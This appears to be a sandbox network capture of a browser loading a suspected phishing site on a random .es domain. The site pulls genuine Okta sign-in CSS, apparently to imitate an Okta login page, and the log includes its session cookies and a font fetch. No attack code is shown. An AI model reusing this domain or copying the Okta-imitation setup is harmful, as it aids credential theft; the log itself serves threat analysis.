2025-03-26 21:11:19 UTC	957	IN	HTTP/1.1 302 Found Date: Wed, 26 Mar 2025 21:10:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame,Accept-Encoding, Accept, X-Requested-With Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250326%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250326T211015Z&X-Amz-Expires=300&X-Amz-Signature=05eecb58d495b2c19124cfc263b0f1a2c5727bb82f4538a7892732d7a2299cc0&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2025-03-26 21:11:19 UTC	3389	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.githu

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	644	OUT	GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:19 UTC	770	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 222931 Connection: close Date: Thu, 13 Mar 2025 22:49:11 GMT Server: nginx Last-Modified: Tue, 14 May 2024 21:48:24 GMT ETag: "0329c939fca7c78756b94fbcd95e322b" x-amz-meta-sha1sum: 7b5499b46660a0348cc2b22cae927dcc3fda8b20 Expires: Fri, 13 Mar 2026 22:49:11 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 eb7da8ca0dd07aa429ce47312003e292.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: zSv-BXy8uthk23e8-iIbecGeyK8wO7chXQrv-lYeWcl8-ECgHm_86w== Age: 1117328
2025-03-26 21:11:19 UTC	15614	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 71 74 69 70 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 2e 35 70 78 3b 6c 65 66 74 3a 2d 32 38 30 30 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 32 70 78 3b 6d 61 78 2d 77 69 64 74 68 3a 32 38 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 2d 32 38 30 30 30 70 78 7d 2e 71 74 69 70 2d 63 6f 6e 74 65 6e 74 7b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 39 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 71 Data Ascii: @charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.q
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 2a 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 61 66 74 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 5b 63 6c 61 73 73 5e 3d 22 2d 34 38 22 5d 3a 62 65 66 6f 72 65 7b 73 70 65 61 6b 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 Data Ascii: ox;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:top}#okta-sign-in [class="-48"]:after,#okta-sign-in [class="-48"]:before,#okta-sign-in [class^="-48"]:after,#okta-sign-in [class^="-48"]:before{speak:none;-webkit-font-smoothing:antia
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 37 63 63 30 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 37 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 64 76 61 6e 63 65 64 2d 73 73 6f 2d 31 36 2d 62 6c 75 65 3a 61 66 74 65 72 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 31 38 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 38 63 38 63 39 36 3b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 32 61 22 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 2e 61 63 74 69 76 65 3a 62 65 66 6f 72 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 62 6f 6f 6b 6d 61 72 6b 2d 31 36 2d 67 72 65 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6c 6f 72 3a 23 34 63 62 66 Data Ascii: 7cc0;content:"\e017"}#okta-sign-in .advanced-sso-16-blue:after{color:#5e5e5e;content:"\e018"}#okta-sign-in .bookmark-16:before{color:#8c8c96;content:"\e02a"}#okta-sign-in .bookmark-16-green.active:before,#okta-sign-in .bookmark-16-green:before{color:#4cbf
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 62 62 62 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 30 20 68 73 6c 61 28 30 2c 30 25 2c 36 33 25 2c 2e 32 29 3b 6c 65 66 74 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 32 70 78 3b 77 69 64 74 68 3a 34 31 37 70 78 3b 7a 2d 69 6e 64 65 78 3a 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 64 72 6f 70 64 6f 77 6e 20 2e 6f 70 74 69 6f 6e 73 20 6c 69 2e 6f 70 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 61 65 61 65 61 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 61 64 64 69 Data Ascii: #fff;border:1px solid #bbb;box-shadow:0 2px 0 hsla(0,0%,63%,.2);left:0;list-style:none;padding:0;position:absolute;top:2px;width:417px;z-index:4}#okta-sign-in .dropdown .options li.option{background:#fff;border-bottom:1px solid #eaeaea;display:block;paddi
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 61 62 62 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 69 6e 67 6c 65 20 2e 63 68 7a 6e 2d 73 69 6e 67 6c 65 20 64 69 76 20 62 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 68 7a 6e 2d 72 74 6c 20 2e 63 68 7a 6e 2d 73 65 61 72 63 68 20 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2e 2e 2f 69 6d 67 2f 75 69 2f 66 6f 72 6d 73 2f 63 68 6f 73 65 6e 2d 73 70 72 69 74 65 40 32 78 2e 70 6e 67 29 Data Ascii: .chzn-container-single .chzn-search input,#okta-sign-in .chzn-container-single .chzn-single abbr,#okta-sign-in .chzn-container-single .chzn-single div b,#okta-sign-in .chzn-rtl .chzn-search input{background-image:url(../img/ui/forms/chosen-sprite@2x.png)
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 78 3b 70 61 64 64 69 6e 67 3a 37 70 78 20 31 30 70 78 20 37 70 78 20 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 20 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 20 2e 63 75 73 74 6f 6d 2d 72 61 64 69 6f 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 2e 63 75 73 74 6f 6d 2d 63 68 65 63 6b 62 6f 78 3a 66 69 72 73 74 2d 63 68 69 6c 64 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 2d 72 65 61 64 2d 6d 6f 64 65 2e 63 75 73 74 6f 6d 2d 72 61 64 69 6f 3a 66 69 72 73 74 2d Data Ascii: x;padding:7px 10px 7px 0}#okta-sign-in .o-form-read-mode .custom-checkbox:first-child,#okta-sign-in .o-form-read-mode .custom-radio:first-child,#okta-sign-in .o-form-read-mode.custom-checkbox:first-child,#okta-sign-in .o-form-read-mode.custom-radio:first-
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 69 6e 70 75 74 2d 66 69 78 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 6f 72 6d 20 2e 74 65 78 74 61 72 65 61 2d 66 69 78 20 69 6e 70 75 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 32 70 78 3b 70 61 64 64 69 6e 67 3a 38 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 33 32 30 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 34 38 30 70 78 29 20 61 6e 64 20 28 2d 77 65 62 6b Data Ascii: okta-sign-in .o-form .input-fix input,#okta-sign-in .o-form .textarea-fix input{background:none;border:none;box-shadow:none;font-size:14px;line-height:22px;padding:8px}@media only screen and (min-device-width:320px) and (max-device-width:480px) and (-webk
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 70 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 35 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 35 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 6c 61 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 70 69 Data Ascii: on{border-radius:3px;box-sizing:border-box;display:block;font-size:14px;line-height:50px;margin-top:15px;text-align:center}#okta-sign-in .piv-button.link-button:last-of-type{margin-bottom:25px}#okta-sign-in .piv-button.link-button:active,#okta-sign-in .pi
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 69 6e 70 75 74 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 69 6e 70 75 74 7b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 30 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 77 69 64 74 68 3a 31 34 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 63 6f 6e 73 65 6e 74 2d 72 65 71 75 69 72 65 64 20 2e 6f 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 62 61 72 20 2e 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 67 72 61 6e 75 6c 61 72 2d 63 6f 6e 73 65 6e 74 20 Data Ascii: orm-button-bar input,#okta-sign-in .granular-consent .o-form-button-bar input{height:auto;line-height:normal;min-height:50px;white-space:normal;width:140px}#okta-sign-in .consent-required .o-form-button-bar .button-primary,#okta-sign-in .granular-consent
2025-03-26 21:11:19 UTC	16384	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 2d 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 3e 2e 6f 2d 66 6f 72 6d 2d 65 72 72 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 6b 74 61 2d 77 61 69 74 69 6e 67 2d 73 70 69 6e 6e 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 77 65 62 61 75 74 68 6e 2d 66 6f 72 6d 20 2e 6f 6b 74 61 2d 77 61 69 74 69 6e 67 2d 73 70 69 6e 6e 65 72 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 76 65 72 69 66 79 2d 75 32 66 2d 66 6f 72 6d 20 2e 6f 6b 74 61 2d 77 61 69 Data Ascii: ontainer,#okta-sign-in .verify-webauthn-form .o-form-content>.o-form-error-container{margin-bottom:20px}#okta-sign-in .enroll-u2f-form .okta-waiting-spinner,#okta-sign-in .enroll-webauthn-form .okta-waiting-spinner,#okta-sign-in .verify-u2f-form .okta-wai

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	653	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://nvgy.zonqdkqezktw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 21:11:19 UTC	768	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 17 Mar 2025 17:37:07 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 17 Mar 2026 17:37:07 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 5fa457dda68a5020725d371f051783e6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P7 X-Amz-Cf-Id: UpUJuLsou2mlGxpgN060fFVEvxHyF2zgOFQIcmOXrQ19A6i1Oi71zg== Age: 790452
2025-03-26 21:11:19 UTC	9594	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t
2025-03-26 21:11:19 UTC	904	IN	Data Raw: 36 32 64 64 3b 63 6f 6c 6f 72 3a 23 31 36 36 32 64 64 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 64 70 2d 70 69 76 2d 62 75 74 74 6f 6e 2e 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 35 65 64 66 62 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 3b 63 6f 6c 6f 72 3a 23 31 32 34 61 39 34 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 61 75 74 68 2d 66 6f 6f 74 65 72 20 2e 68 65 6c Data Ascii: 62dd;color:#1662dd}#okta-sign-in .idp-piv-button.link-button:active,#okta-sign-in .idp-piv-button.link-button:focus,#okta-sign-in .idp-piv-button.link-button:hover{background-color:#e5edfb;border-color:#124a94;color:#124a94}#okta-sign-in .auth-footer .hel

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1388	OUT	GET /GDSherpa-vf.woff2 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1172	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="GDSherpa-vf.woff2" Age: 1757 Last-Modified: Wed, 26 Mar 2025 19:16:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1U%2BXJTFwjJPXX5AXf279aBbh%2FUA%2BGnN2U80UGXjhUjMQ9VzKNFMMU9vUfyFeEVzWa7ortFy4wiRdxJ%2BqmNkrBwBsX5PSYI8pd04nANW%2Fg0AaQC7k5nTSFGGoVDZIcss3Nff4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=323&min_rtt=288&rtt_var=103&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2376&delivery_rate=11929203&cwnd=252&unsent_bytes=0&cid=3c8dfdce771530e7&ts=13&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Server: cloudflare CF-RAY: 9269a3cbc83d8ce9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89108&min_rtt=89047&rtt_var=18878&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1960&delivery_rate=34251&cwnd=252&unsent_bytes=0&cid=71ef242213cd1099&ts=209&x=0"
2025-03-26 21:11:19 UTC	197	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;G
